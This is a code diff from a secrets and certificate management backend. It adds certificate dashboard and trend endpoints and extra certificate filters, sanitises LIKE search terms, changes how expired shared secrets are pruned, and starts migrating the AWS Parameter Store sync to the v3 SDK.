       ...(regularFilters.metadataFilter && { metadataFilter: regularFilters.metadataFilter }),
-      ...(regularFilters.extendedKeyUsage && { extendedKeyUsage: String(regularFilters.extendedKeyUsage) })
+      ...(regularFilters.extendedKeyUsage && { extendedKeyUsage: String(regularFilters.extendedKeyUsage) }),
+      ...(regularFilters.keyAlgorithm && { keyAlgorithm: regularFilters.keyAlgorithm }),
+      ...(regularFilters.signatureAlgorithm && { signatureAlgorithm: String(regularFilters.signatureAlgorithm) }),
+      ...(regularFilters.keySizes && { keySizes: regularFilters.keySizes }),
+      ...(regularFilters.caIds && { caIds: regularFilters.caIds }),
+      ...(regularFilters.enrollmentTypes && { enrollmentTypes: regularFilters.enrollmentTypes }),
+      ...(regularFilters.source && { source: regularFilters.source }),
+      ...(regularFilters.notAfterFrom && { notAfterFrom: regularFilters.notAfterFrom }),
+      ...(regularFilters.notAfterTo && { notAfterTo: regularFilters.notAfterTo }),
+      ...(regularFilters.notBeforeFrom && { notBeforeFrom: regularFilters.notBeforeFrom }),
+      ...(regularFilters.notBeforeTo && { notBeforeTo: regularFilters.notBeforeTo })
     };
 
     const count = forPkiSync
       ? await certificateDAL.countActiveCertificatesForSync(countFilter)
-      : await certificateDAL.countCertificatesInProject(countFilter);
+      : await certificateDAL.countCertificatesInProject(countFilter, permissionFilters);
 
     return {
       certificates,
@@ -1288,6 +1342,104 @@ export const projectServiceFactory = ({
     };
   };
 
+  const getDashboardStats = async ({ filter, actorId, actorOrgId, actorAuthMethod, actor }: TGetDashboardStatsDTO) => {
+    const project = await projectDAL.findProjectByFilter(filter);
+    const projectId = project.id;
+
+    const { permission } = await permissionService.getProjectPermission({
+      actor,
+      actorId,
+      projectId,
+      actorAuthMethod,
+      actorOrgId,
+      actionProjectType: ActionProjectType.CertificateManager
+    });
+
+    ForbiddenError.from(permission).throwUnlessCan(
+      ProjectPermissionCertificateActions.Read,
+      ProjectPermissionSub.Certificates
+    );
+
+    return withCache({
+      keyStore,
+      key: KeyStorePrefixes.CertDashboardStats(projectId),
+      ttlSeconds: KeyStoreTtls.DashboardCacheInSeconds,
+      fetcher: () => certificateDAL.getDashboardStats(projectId)
+    });
+  };
+
+  const getActivityTrend = async ({
+    filter,
+    range = "30d",
+    actorId,
+    actorOrgId,
+    actorAuthMethod,
+    actor
+  }: TGetActivityTrendDTO) => {
+    const project = await projectDAL.findProjectByFilter(filter);
+    const projectId = project.id;
+
+    const { permission } = await permissionService.getProjectPermission({
+      actor,
+      actorId,
+      projectId,
+      actorAuthMethod,
+      actorOrgId,
+      actionProjectType: ActionProjectType.CertificateManager
+    });
+
+    ForbiddenError.from(permission).throwUnlessCan(
+      ProjectPermissionCertificateActions.Read,
+      ProjectPermissionSub.Certificates
+    );
+
+    const rangeDaysMap: Record<string, number> = { "7d": 7, "30d": 30, "6m": 180 };
+    const daysBack = rangeDaysMap[range];
+
+    return withCache({
+      keyStore,
+      key: KeyStorePrefixes.CertActivityTrend(projectId, range),
+      ttlSeconds: KeyStoreTtls.DashboardCacheInSeconds,
+      fetcher: () => certificateDAL.getActivityTrend(projectId, daysBack)
+    });
+  };
+
+  const getPqcTrend = async ({
+    filter,
+    range = "30d",
+    actorId,
+    actorOrgId,
+    actorAuthMethod,
+    actor
+  }: TGetActivityTrendDTO) => {
+    const project = await projectDAL.findProjectByFilter(filter);
+    const projectId = project.id;
+
+    const { permission } = await permissionService.getProjectPermission({
+      actor,
+      actorId,
+      projectId,
+      actorAuthMethod,
+      actorOrgId,
+      actionProjectType: ActionProjectType.CertificateManager
+    });
+
+    ForbiddenError.from(permission).throwUnlessCan(
+      ProjectPermissionCertificateActions.Read,
+      ProjectPermissionSub.Certificates
+    );
+
+    const rangeDaysMap: Record<string, number> = { "7d": 7, "30d": 30, "6m": 180 };
+    const daysBack = rangeDaysMap[range];
+
+    return withCache({
+      keyStore,
+      key: KeyStorePrefixes.CertPqcTrend(projectId, range),
+      ttlSeconds: KeyStoreTtls.DashboardCacheInSeconds,
+      fetcher: () => certificateDAL.getPqcTrend(projectId, daysBack)
+    });
+  };
+
   /**
    * Return list of (PKI) alerts configured for project
    */
@@ -1703,13 +1855,6 @@ export const projectServiceFactory = ({
     actorAuthMethod,
     projectId
   }: TGetProjectSshConfig) => {
-    const project = await projectDAL.findById(projectId);
-    if (!project) {
-      throw new NotFoundError({
-        message: `Project with ID '${projectId}' not found`
-      });
-    }
-
     const { permission } = await permissionService.getProjectPermission({
       actor,
       actorId,
@@ -1722,12 +1867,12 @@ export const projectServiceFactory = ({
     ForbiddenError.from(permission).throwUnlessCan(ProjectPermissionActions.Read, ProjectPermissionSub.Settings);
 
     const projectSshConfig = await projectSshConfigDAL.findOne({
-      projectId: project.id
+      projectId
     });
 
     if (!projectSshConfig) {
       throw new NotFoundError({
-        message: `Project SSH config with ID '${project.id}' not found`
+        message: `Project SSH config with ID '${projectId}' not found`
       });
     }
 
@@ -1743,13 +1888,6 @@ export const projectServiceFactory = ({
     defaultUserSshCaId,
     defaultHostSshCaId
   }: TUpdateProjectSshConfig) => {
-    const project = await projectDAL.findById(projectId);
-    if (!project) {
-      throw new NotFoundError({
-        message: `Project with ID '${projectId}' not found`
-      });
-    }
-
     const { permission } = await permissionService.getProjectPermission({
       actor,
       actorId,
@@ -1762,12 +1900,12 @@ export const projectServiceFactory = ({
     ForbiddenError.from(permission).throwUnlessCan(ProjectPermissionActions.Edit, ProjectPermissionSub.Settings);
 
     let projectSshConfig = await projectSshConfigDAL.findOne({
-      projectId: project.id
+      projectId
     });
 
     if (!projectSshConfig) {
       throw new NotFoundError({
-        message: `Project SSH config with ID '${project.id}' not found`
+        message: `Project SSH config with ID '${projectId}' not found`
       });
     }
 
@@ -1776,7 +1914,7 @@ export const projectServiceFactory = ({
         const userSshCa = await sshCertificateAuthorityDAL.findOne(
           {
             id: defaultUserSshCaId,
-            projectId: project.id
+            projectId
           },
           tx
         );
@@ -1792,7 +1930,7 @@ export const projectServiceFactory = ({
         const hostSshCa = await sshCertificateAuthorityDAL.findOne(
           {
             id: defaultHostSshCaId,
-            projectId: project.id
+            projectId
           },
           tx
         );
@@ -1827,13 +1965,6 @@ export const projectServiceFactory = ({
     projectId,
     integration
   }: TGetProjectWorkflowIntegrationConfig) => {
-    const project = await projectDAL.findById(projectId);
-    if (!project) {
-      throw new NotFoundError({
-        message: `Project with ID '${projectId}' not found`
-      });
-    }
-
     const { permission } = await permissionService.getProjectPermission({
       actor,
       actorId,
@@ -1847,7 +1978,7 @@ export const projectServiceFactory = ({
 
     if (integration === WorkflowIntegration.SLACK) {
       const config = await projectSlackConfigDAL.findOne({
-        projectId: project.id
+        projectId
       });
 
       if (!config) {
@@ -1865,7 +1996,7 @@ export const projectServiceFactory = ({
 
     if (integration === WorkflowIntegration.MICROSOFT_TEAMS) {
       const config = await projectMicrosoftTeamsConfigDAL.findOne({
-        projectId: project.id
+        projectId
       });
 
       if (!config) {
@@ -1905,7 +2036,9 @@ export const projectServiceFactory = ({
     isSecretSyncErrorNotificationEnabled?: boolean;
     secretSyncErrorChannels?: string;
   }) => {
-    const project = await projectDAL.findById(projectId);
+    const project = await requestMemoize(requestMemoKeys.projectFindById(projectId), () =>
+      projectDAL.findById(projectId)
+    );
     if (!project) {
       throw new NotFoundError({
         message: `Project with ID '${projectId}' not found`
@@ -2114,13 +2247,6 @@ export const projectServiceFactory = ({
     integrationId,
     integration
   }: TDeleteProjectWorkflowIntegration) => {
-    const project = await projectDAL.findById(projectId);
-    if (!project) {
-      throw new NotFoundError({
-        message: `Project with ID '${projectId}' not found`
-      });
-    }
-
     const { permission } = await permissionService.getProjectPermission({
       actor,
       actorId,
@@ -2262,7 +2388,9 @@ export const projectServiceFactory = ({
     }
 
     const org = await orgDAL.findOne({ id: permission.orgId });
-    const project = await projectDAL.findById(projectId);
+    const project = await requestMemoize(requestMemoKeys.projectFindById(projectId), () =>
+      projectDAL.findById(projectId)
+    );
     const userDetails = await userDAL.findById(permission.id);
     const appCfg = getConfig();
 
@@ -2316,6 +2444,9 @@ export const projectServiceFactory = ({
     upgradeProject,
     listProjectCas,
     listProjectCertificates,
+    getDashboardStats,
+    getActivityTrend,
+    getPqcTrend,
     listProjectAlerts,
     listProjectPkiCollections,
     listProjectCertificateTemplates,
diff --git a/backend/src/services/project/project-types.ts b/backend/src/services/project/project-types.ts
index cd35ab114b0..59f8fe8a3c4 100644
--- a/backend/src/services/project/project-types.ts
+++ b/backend/src/services/project/project-types.ts
@@ -152,6 +152,27 @@ export type TListProjectCertsDTO = {
   toDate?: Date;
   metadataFilter?: Array<{ key: string; value?: string }>;
   extendedKeyUsage?: string;
+  keyAlgorithm?: string | string[];
+  signatureAlgorithm?: string;
+  keySizes?: number[];
+  caIds?: string[];
+  enrollmentTypes?: string[];
+  source?: string | string[];
+  notAfterFrom?: Date;
+  notAfterTo?: Date;
+  notBeforeFrom?: Date;
+  notBeforeTo?: Date;
+  sortBy?: string;
+  sortOrder?: "asc" | "desc";
+} & Omit<TProjectPermission, "projectId">;
+
+export type TGetDashboardStatsDTO = {
+  filter: Filter;
+} & Omit<TProjectPermission, "projectId">;
+
+export type TGetActivityTrendDTO = {
+  filter: Filter;
+  range?: string;
 } & Omit<TProjectPermission, "projectId">;
 
 export type TListProjectAlertsDTO = TProjectPermission;
diff --git a/backend/src/services/reminder/reminder-dal.ts b/backend/src/services/reminder/reminder-dal.ts
index 4161552a95e..bad70197169 100644
--- a/backend/src/services/reminder/reminder-dal.ts
+++ b/backend/src/services/reminder/reminder-dal.ts
@@ -148,11 +148,58 @@ export const reminderDALFactory = (db: TDbClient) => {
     return reminders;
   };
 
+  const findByProjectAndDateRange = async (
+    {
+      projectId,
+      startDate,
+      endDate
+    }: {
+      projectId: string;
+      startDate: Date;
+      endDate: Date;
+    },
+    tx?: Knex
+  ) => {
+    const query = (tx || db.replicaNode())(TableName.Reminder)
+      .whereNotNull(`${TableName.Reminder}.secretId`)
+      .whereBetween(`${TableName.Reminder}.nextReminderDate`, [startDate, endDate])
+      .join<TSecretsV2>(TableName.SecretV2, `${TableName.Reminder}.secretId`, `${TableName.SecretV2}.id`)
+      .join<TSecretFolders>(TableName.SecretFolder, `${TableName.SecretV2}.folderId`, `${TableName.SecretFolder}.id`)
+      .join<TProjectEnvironments>(
+        TableName.Environment,
+        `${TableName.SecretFolder}.envId`,
+        `${TableName.Environment}.id`
+      )
+      .where(`${TableName.Environment}.projectId`, projectId);
+
+    const rawReminders = await query
+      .select(selectAllTableCols(TableName.Reminder))
+      .select(
+        db.ref("key").withSchema(TableName.SecretV2).as("secretKey"),
+        db.ref("folderId").withSchema(TableName.SecretV2).as("secretFolderId"),
+        db.ref("slug").withSchema(TableName.Environment).as("envSlug"),
+        db.ref("name").withSchema(TableName.Environment).as("envName")
+      );
+
+    return rawReminders.map((r) => ({
+      id: r.id,
+      secretId: r.secretId,
+      secretKey: (r as unknown as Record<string, string>).secretKey,
+      nextReminderDate: r.nextReminderDate,
+      message: r.message,
+      repeatDays: r.repeatDays,
+      folderId: (r as unknown as Record<string, string>).secretFolderId,
+      envSlug: (r as unknown as Record<string, string>).envSlug,
+      envName: (r as unknown as Record<string, string>).envName
+    }));
+  };
+
   return {
     ...reminderOrm,
     findSecretDailyReminders,
     findUpcomingReminders,
     findSecretReminder,
-    findSecretReminders
+    findSecretReminders,
+    findByProjectAndDateRange
   };
 };
diff --git a/backend/src/services/role/project/project-role-factory.ts b/backend/src/services/role/project/project-role-factory.ts
index 2ab4e59d034..ce74c47fdb7 100644
--- a/backend/src/services/role/project/project-role-factory.ts
+++ b/backend/src/services/role/project/project-role-factory.ts
@@ -17,6 +17,8 @@ import {
   ProjectPermissionSub
 } from "@app/ee/services/permission/project-permission";
 import { BadRequestError } from "@app/lib/errors";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { TProjectDALFactory } from "@app/services/project/project-dal";
 
 import { TRoleScopeFactory } from "../role-types";
@@ -119,7 +121,9 @@ export const newProjectRoleFactory = ({
 
   const getPredefinedRoles: TRoleScopeFactory["getPredefinedRoles"] = async (scopeData) => {
     const scope = getScopeField(scopeData);
-    const project = await projectDAL.findById(scope.value);
+    const project = await requestMemoize(requestMemoKeys.projectFindById(scope.value), () =>
+      projectDAL.findById(scope.value)
+    );
     if (!project) throw new BadRequestError({ message: "Project not found" });
     const projectId = project.id;
 
@@ -136,7 +140,7 @@ export const newProjectRoleFactory = ({
       },
       {
         id: uuidv4(),
-        name: "Developer",
+        name: "Member",
         slug: ProjectMembershipRole.Member,
         permissions: projectMemberPermissions,
         description: "Limited read/write role in a project",
diff --git a/backend/src/services/secret-folder/secret-folder-dal.ts b/backend/src/services/secret-folder/secret-folder-dal.ts
index 29d69ec6ba1..076095f2fd3 100644
--- a/backend/src/services/secret-folder/secret-folder-dal.ts
+++ b/backend/src/services/secret-folder/secret-folder-dal.ts
@@ -3,7 +3,7 @@ import { Knex } from "knex";
 import { TDbClient } from "@app/db";
 import { TableName, TSecretFolders, TSecretFoldersUpdate } from "@app/db/schemas";
 import { BadRequestError, DatabaseError } from "@app/lib/errors";
-import { groupBy, removeTrailingSlash, unique } from "@app/lib/fn";
+import { groupBy, removeTrailingSlash, sanitizeSqlLikeString, unique } from "@app/lib/fn";
 import { ormify, selectAllTableCols } from "@app/lib/knex";
 import { OrderByDirection } from "@app/lib/types";
 import { isValidSecretPath } from "@app/lib/validator";
@@ -340,7 +340,7 @@ export const secretFolderDALFactory = (db: TDbClient) => {
         .where("isReserved", false)
         .where((bd) => {
           if (search) {
-            void bd.whereILike(`${TableName.SecretFolder}.name`, `%${search}%`);
+            void bd.whereILike(`${TableName.SecretFolder}.name`, `%${sanitizeSqlLikeString(search)}%`);
           }
         })
         .leftJoin(TableName.Environment, `${TableName.Environment}.id`, `${TableName.SecretFolder}.envId`)
diff --git a/backend/src/services/secret-folder/secret-folder-service.ts b/backend/src/services/secret-folder/secret-folder-service.ts
index 033efdb14c3..7d50494516d 100644
--- a/backend/src/services/secret-folder/secret-folder-service.ts
+++ b/backend/src/services/secret-folder/secret-folder-service.ts
@@ -231,19 +231,19 @@ export const secretFolderServiceFactory = ({
         tx
       );
 
-      return doc;
-    });
+      const [folderWithFullPath] = await folderDAL.findSecretPathByFolderIds(projectId, [doc.id], tx);
 
-    const [folderWithFullPath] = await folderDAL.findSecretPathByFolderIds(projectId, [folder.id]);
+      if (!folderWithFullPath) {
+        throw new NotFoundError({
+          message: `Failed to retrieve path for folder with ID '${doc.id}'`
+        });
+      }
 
-    if (!folderWithFullPath) {
-      throw new NotFoundError({
-        message: `Failed to retrieve path for folder with ID '${folder.id}'`
-      });
-    }
+      return { ...doc, path: folderWithFullPath.path };
+    });
 
     await snapshotService.performSnapshot(folder.parentId as string);
-    return { ...folder, path: folderWithFullPath.path };
+    return folder;
   };
 
   const updateManyFolders = async ({
@@ -461,7 +461,17 @@ export const secretFolderServiceFactory = ({
       }
     }
 
-    const newFolder = await folderDAL.transaction(async (tx) => {
+    const { newFolder, newFolderPath, oldFolderPath } = await folderDAL.transaction(async (tx) => {
+      // Read the old folder path BEFORE the update to capture the original name in the path.
+      // This must be done inside the transaction to ensure read-after-write consistency
+      // when using read replicas, but before the UPDATE to get the old state.
+      const [oldFolderWithPath] = await folderDAL.findSecretPathByFolderIds(projectId, [folder.id], tx);
+      if (!oldFolderWithPath) {
+        throw new NotFoundError({
+          message: `Failed to retrieve path for folder with ID '${folder.id}'`
+        });
+      }
+
       const [doc] = await folderDAL.update(
         { envId: env.id, id: folder.id, parentId: parentFolder.id, isReserved: false },
         { name, description },
@@ -498,30 +508,23 @@ export const secretFolderServiceFactory = ({
         tx
       );
       if (!doc) throw new NotFoundError({ message: `Failed to update folder with ID '${id}'`, name: "UpdateFolder" });
-      return doc;
-    });
 
-    const foldersWithFullPaths = await folderDAL.findSecretPathByFolderIds(projectId, [newFolder.id, folder.id]);
-
-    const newFolderWithFullPath = foldersWithFullPaths.find((f) => f?.id === newFolder.id);
-    if (!newFolderWithFullPath) {
-      throw new NotFoundError({
-        message: `Failed to retrieve path for folder with ID '${newFolder.id}'`
-      });
-    }
+      // Read the new folder path AFTER the update to get the updated name in the path.
+      const [newFolderWithPath] = await folderDAL.findSecretPathByFolderIds(projectId, [doc.id], tx);
+      if (!newFolderWithPath) {
+        throw new NotFoundError({
+          message: `Failed to retrieve path for folder with ID '${doc.id}'`
+        });
+      }
 
-    const folderWithFullPath = foldersWithFullPaths.find((f) => f?.id === folder.id);
-    if (!folderWithFullPath) {
-      throw new NotFoundError({
-        message: `Failed to retrieve path for folder with ID '${folder.id}'`
-      });
-    }
+      return { newFolder: doc, newFolderPath: newFolderWithPath.path, oldFolderPath: oldFolderWithPath.path };
+    });
 
     await snapshotService.performSnapshot(newFolder.parentId as string);
     await secretV2BridgeDAL.invalidateSecretCacheByProjectId(projectId);
     return {
-      folder: { ...newFolder, path: newFolderWithFullPath.path },
-      old: { ...folder, path: folderWithFullPath.path }
+      folder: { ...newFolder, path: newFolderPath },
+      old: { ...folder, path: oldFolderPath }
     };
   };
 
@@ -900,7 +903,7 @@ export const secretFolderServiceFactory = ({
           parentId: parentFolders.map((folder) => folder.id)
         },
         isReserved: false,
-        $search: search ? { name: `%${search}%` } : undefined
+        $search: search ? { name: search } : undefined
       },
       { countDistinct: "name" }
     );
diff --git a/backend/src/services/secret-import/secret-import-dal.ts b/backend/src/services/secret-import/secret-import-dal.ts
index ca1b06af6c8..68dc96b217e 100644
--- a/backend/src/services/secret-import/secret-import-dal.ts
+++ b/backend/src/services/secret-import/secret-import-dal.ts
@@ -3,6 +3,7 @@ import { Knex } from "knex";
 import { TDbClient } from "@app/db";
 import { TableName, TSecretImports } from "@app/db/schemas";
 import { DatabaseError } from "@app/lib/errors";
+import { sanitizeSqlLikeString } from "@app/lib/fn";
 import { ormify } from "@app/lib/knex";
 
 import { EnvironmentInfo, FolderInfo, FolderResult, SecretResult } from "./secret-import-types";
@@ -86,7 +87,7 @@ export const secretImportDALFactory = (db: TDbClient) => {
         .where(filter)
         .where((bd) => {
           if (search) {
-            void bd.whereILike("importPath", `%${search}%`);
+            void bd.whereILike("importPath", `%${sanitizeSqlLikeString(search)}%`);
           }
         })
         .join(TableName.Environment, `${TableName.SecretImport}.importEnv`, `${TableName.Environment}.id`)
@@ -172,7 +173,7 @@ export const secretImportDALFactory = (db: TDbClient) => {
         .where("isReplication", false)
         .where((bd) => {
           if (search) {
-            void bd.whereILike("importPath", `%${search}%`);
+            void bd.whereILike("importPath", `%${sanitizeSqlLikeString(search)}%`);
           }
         })
         .join(TableName.Environment, `${TableName.SecretImport}.importEnv`, `${TableName.Environment}.id`)
@@ -191,7 +192,7 @@ export const secretImportDALFactory = (db: TDbClient) => {
         .where(`${TableName.SecretImport}.isReserved`, false)
         .where((bd) => {
           if (search) {
-            void bd.whereILike(`${TableName.SecretImport}.importPath`, `%${search}%`);
+            void bd.whereILike(`${TableName.SecretImport}.importPath`, `%${sanitizeSqlLikeString(search)}%`);
           }
         })
         .join(TableName.Environment, `${TableName.SecretImport}.importEnv`, `${TableName.Environment}.id`)
diff --git a/backend/src/services/secret-sharing/secret-sharing-dal.ts b/backend/src/services/secret-sharing/secret-sharing-dal.ts
index 8f6cb80235f..7f5c3624bf7 100644
--- a/backend/src/services/secret-sharing/secret-sharing-dal.ts
+++ b/backend/src/services/secret-sharing/secret-sharing-dal.ts
@@ -1,7 +1,7 @@
 import { Knex } from "knex";
 
 import { TDbClient } from "@app/db";
-import { TableName, TSecretSharing } from "@app/db/schemas";
+import { TableName } from "@app/db/schemas";
 import { DatabaseError, NotFoundError } from "@app/lib/errors";
 import { ormify, selectAllTableCols } from "@app/lib/knex";
 import { logger } from "@app/lib/logger";
@@ -90,16 +90,13 @@ export const secretSharingDALFactory = (db: TDbClient) => {
   const pruneExpiredSharedSecrets = async (tx?: Knex) => {
     logger.info(`${QueueName.DailyResourceCleanUp}: pruning expired shared secret started`);
     try {
-      const today = new Date();
+      const sevenDaysAgo = new Date();
+      sevenDaysAgo.setDate(sevenDaysAgo.getDate() - 7);
+
       const docs = await (tx || db)(TableName.SecretSharing)
-        .where("expiresAt", "<", today)
-        .andWhere("encryptedValue", "<>", "")
+        .where("expiresAt", "<", sevenDaysAgo)
         .andWhere("type", SecretSharingType.Share)
-        .update({
-          encryptedValue: "",
-          tag: "",
-          iv: ""
-        });
+        .del();
       logger.info(`${QueueName.DailyResourceCleanUp}: pruning expired shared secret completed`);
       return docs;
     } catch (error) {
@@ -110,12 +107,12 @@ export const secretSharingDALFactory = (db: TDbClient) => {
   const pruneExpiredSecretRequests = async (tx?: Knex) => {
     logger.info(`${QueueName.DailyResourceCleanUp}: pruning expired secret requests started`);
     try {
-      const today = new Date();
+      const sevenDaysAgo = new Date();
+      sevenDaysAgo.setDate(sevenDaysAgo.getDate() - 7);
 
       const docs = await (tx || db)(TableName.SecretSharing)
         .whereNotNull("expiresAt")
-        .andWhere("expiresAt", "<", today)
-        .andWhere("encryptedSecret", null)
+        .andWhere("expiresAt", "<", sevenDaysAgo)
         .andWhere("type", SecretSharingType.Request)
         .delete();
 
@@ -127,31 +124,18 @@ export const secretSharingDALFactory = (db: TDbClient) => {
     }
   };
 
-  const findActiveSharedSecrets = async (filters: Partial<TSecretSharing>, tx?: Knex) => {
+  const softDeleteById = async (id: string, tx?: Knex) => {
     try {
-      const now = new Date();
-      return await (tx || db.replicaNode())(TableName.SecretSharing)
-        .where(filters)
-        .andWhere("expiresAt", ">", now)
-        .andWhere("encryptedValue", "<>", "")
-        .andWhere("type", SecretSharingType.Share)
-        .select(selectAllTableCols(TableName.SecretSharing))
-        .orderBy("expiresAt", "asc");
-    } catch (error) {
-      throw new DatabaseError({
-        error,
-        name: "Find Active Shared Secrets"
-      });
-    }
-  };
-
-  const softDeleteById = async (id: string) => {
-    try {
-      await sharedSecretOrm.updateById(id, {
-        encryptedValue: "",
-        iv: "",
-        tag: ""
-      });
+      await sharedSecretOrm.updateById(
+        id,
+        {
+          encryptedValue: "",
+          iv: "",
+          tag: "",
+          encryptedSecret: null
+        },
+        tx
+      );
     } catch (error) {
       throw new DatabaseError({
         error,
@@ -166,7 +150,6 @@ export const secretSharingDALFactory = (db: TDbClient) => {
     pruneExpiredSharedSecrets,
     pruneExpiredSecretRequests,
     softDeleteById,
-    findActiveSharedSecrets,
     getSecretRequestById
   };
 };
diff --git a/backend/src/services/secret-sharing/secret-sharing-service.ts b/backend/src/services/secret-sharing/secret-sharing-service.ts
index 38ac0b89bf8..b6c2384b9f3 100644
--- a/backend/src/services/secret-sharing/secret-sharing-service.ts
+++ b/backend/src/services/secret-sharing/secret-sharing-service.ts
@@ -1,4 +1,5 @@
 import { ForbiddenError } from "@casl/ability";
+import { Knex } from "knex";
 
 import { OrganizationActionScope, TOrganizations, TSecretSharing } from "@app/db/schemas";
 import { TLicenseServiceFactory } from "@app/ee/services/license/license-service";
@@ -10,6 +11,8 @@ import { crypto } from "@app/lib/crypto/cryptography";
 import { BadRequestError, ForbiddenRequestError, NotFoundError, UnauthorizedError } from "@app/lib/errors";
 import { logger } from "@app/lib/logger";
 import { ms } from "@app/lib/ms";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { OrgServiceActor, SecretSharingAccessType } from "@app/lib/types";
 
 import { ActorType } from "../auth/auth-type";
@@ -100,6 +103,10 @@ export const secretSharingServiceFactory = ({
     }
   };
 
+  // Checks whether external (non-org) email access is available for this secret.
+  const $hasExternalEmailAccess = (sharedSecret: TSecretSharing): boolean =>
+    Boolean(sharedSecret.allowExternalEmails && sharedSecret.password);
+
   const createSharedSecret = async ({
     actor,
     actorId,
@@ -611,8 +618,9 @@ export const secretSharingServiceFactory = ({
     }
 
     const isAuthorizedUser = await $isAuthorizedEmailUser(sharedSecret, actorId);
+    const hasExternalEmailAccess = $hasExternalEmailAccess(sharedSecret);
 
-    if (!isAuthorizedUser && !sharedSecret.allowExternalEmails) {
+    if (!isAuthorizedUser && !hasExternalEmailAccess) {
       if (!actorId) {
         throw new UnauthorizedError({ message: "Authentication required to view this secret" });
       }
@@ -626,17 +634,17 @@ export const secretSharingServiceFactory = ({
     };
   };
 
-  const $decrementSecretViewCount = async (sharedSecret: TSecretSharing) => {
+  const $decrementSecretViewCount = async (sharedSecret: TSecretSharing, tx?: Knex) => {
     const { expiresAfterViews } = sharedSecret;
 
+    let payload: { lastViewedAt: Date; $decr?: { expiresAfterViews: number } } = {
+      lastViewedAt: new Date()
+    };
     if (expiresAfterViews) {
-      // decrement view count if view count expiry set
-      await secretSharingDAL.updateById(sharedSecret.id, { $decr: { expiresAfterViews: 1 } });
+      payload = { ...payload, $decr: { expiresAfterViews: 1 } };
     }
 
-    await secretSharingDAL.updateById(sharedSecret.id, {
-      lastViewedAt: new Date()
-    });
+    await secretSharingDAL.updateById(sharedSecret.id, payload, tx);
   };
 
   /** Gets password-less secret. validates all secret's requested (must be fresh). */
@@ -644,10 +652,13 @@ export const secretSharingServiceFactory = ({
     const result = await secretSharingDAL.transaction(async (tx) => {
       await tx.raw("SELECT pg_advisory_xact_lock(?)", [PgSqlLock.AccessSharedSecret(sharedSecretId)]);
 
-      const sharedSecret = await secretSharingDAL.findOne({
-        type: SecretSharingType.Share,
-        identifier: Buffer.from(sharedSecretId, "base64url").toString("hex")
-      });
+      const sharedSecret = await secretSharingDAL.findOne(
+        {
+          type: SecretSharingType.Share,
+          identifier: Buffer.from(sharedSecretId, "base64url").toString("hex")
+        },
+        tx
+      );
 
       if (!sharedSecret) {
         throw new NotFoundError({
@@ -666,8 +677,9 @@ export const secretSharingServiceFactory = ({
       }
 
       const isAuthorizedUser = await $isAuthorizedEmailUser(sharedSecret, actorId);
+      const hasExternalEmailAccess = $hasExternalEmailAccess(sharedSecret);
 
-      if (!isAuthorizedUser && !sharedSecret.allowExternalEmails) {
+      if (!isAuthorizedUser && !hasExternalEmailAccess) {
         if (!actorId) {
           throw new UnauthorizedError({ message: "Authentication required to view this secret" });
         }
@@ -678,13 +690,13 @@ export const secretSharingServiceFactory = ({
       // or can be safely sent to the client.
       if (expiresAt !== null && expiresAt < new Date()) {
         // check lifetime expiry
-        await secretSharingDAL.softDeleteById(sharedSecret.id);
+        await secretSharingDAL.softDeleteById(sharedSecret.id, tx);
         throw new NotFoundError({ message: "The shared secret has expired" });
       }
 
       if (expiresAfterViews !== null && expiresAfterViews === 0) {
         // check view count expiry
-        await secretSharingDAL.softDeleteById(sharedSecret.id);
+        await secretSharingDAL.softDeleteById(sharedSecret.id, tx);
         throw new NotFoundError({ message: "The shared secret has reached its view limit" });
       }
 
@@ -716,11 +728,14 @@ export const secretSharingServiceFactory = ({
         sharedSecret.orgId === orgId &&
         sharedSecret.accessType === SecretSharingAccessType.Organization
       ) {
-        organization = await orgDAL.findOrgById(sharedSecret.orgId);
+        const sharedOrgId = sharedSecret.orgId;
+        organization = await requestMemoize(requestMemoKeys.orgFindOrgById(sharedOrgId), () =>
+          orgDAL.findOrgById(sharedOrgId)
+        );
       }
 
       // decrement when we are sure the user will view secret.
-      await $decrementSecretViewCount(sharedSecret);
+      await $decrementSecretViewCount(sharedSecret, tx);
 
       return {
         ...mapIdentifierToId(sharedSecret),
@@ -817,7 +832,7 @@ export const secretSharingServiceFactory = ({
       return null;
     }
 
-    const org = await orgDAL.findOrgById(orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindOrgById(orgId), () => orgDAL.findOrgById(orgId));
     const assets = await orgAssetDAL.listAssetsByType(orgId, ["brand-logo", "brand-favicon"]);
 
     const hasLogo = assets.some((a) => a.assetType === "brand-logo");
diff --git a/backend/src/services/secret-sync/aws-parameter-store/aws-parameter-store-sync-fns.ts b/backend/src/services/secret-sync/aws-parameter-store/aws-parameter-store-sync-fns.ts
index bdef5d97fa7..695640f52bf 100644
--- a/backend/src/services/secret-sync/aws-parameter-store/aws-parameter-store-sync-fns.ts
+++ b/backend/src/services/secret-sync/aws-parameter-store/aws-parameter-store-sync-fns.ts
@@ -1,7 +1,27 @@
-import type { AWSError } from "aws-sdk";
-import SSM from "aws-sdk/clients/ssm.js";
+import {
+  AccessDeniedException,
+  AddTagsToResourceCommand,
+  type AddTagsToResourceCommandInput,
+  type AddTagsToResourceCommandOutput,
+  DeleteParametersCommand,
+  type DeleteParametersCommandOutput,
+  DescribeParametersCommand,
+  GetParametersByPathCommand,
+  ListTagsForResourceCommand,
+  type Parameter,
+  type ParameterMetadata,
+  PutParameterCommand,
+  type PutParameterCommandInput,
+  type PutParameterCommandOutput,
+  RemoveTagsFromResourceCommand,
+  type RemoveTagsFromResourceCommandInput,
+  type RemoveTagsFromResourceCommandOutput,
+  SSMClient,
+  type Tag
+} from "@aws-sdk/client-ssm";
 import handlebars from "handlebars";
 
+import { isAwsError } from "@app/lib/aws/error";
 import { getAwsConnectionConfig } from "@app/services/app-connection/aws/aws-connection-fns";
 import { SecretSyncError } from "@app/services/secret-sync/secret-sync-errors";
 import { matchesSchema } from "@app/services/secret-sync/secret-sync-fns";
@@ -9,8 +29,8 @@ import { TSecretMap } from "@app/services/secret-sync/secret-sync-types";
 
 import { TAwsParameterStoreSyncWithCredentials } from "./aws-parameter-store-sync-types";
 
-type TAWSParameterStoreRecord = Record<string, SSM.Parameter>;
-type TAWSParameterStoreMetadataRecord = Record<string, SSM.ParameterMetadata>;
+type TAWSParameterStoreRecord = Record<string, Parameter>;
+type TAWSParameterStoreMetadataRecord = Record<string, ParameterMetadata>;
 type TAWSParameterStoreTagsRecord = Record<string, Record<string, string>>;
 
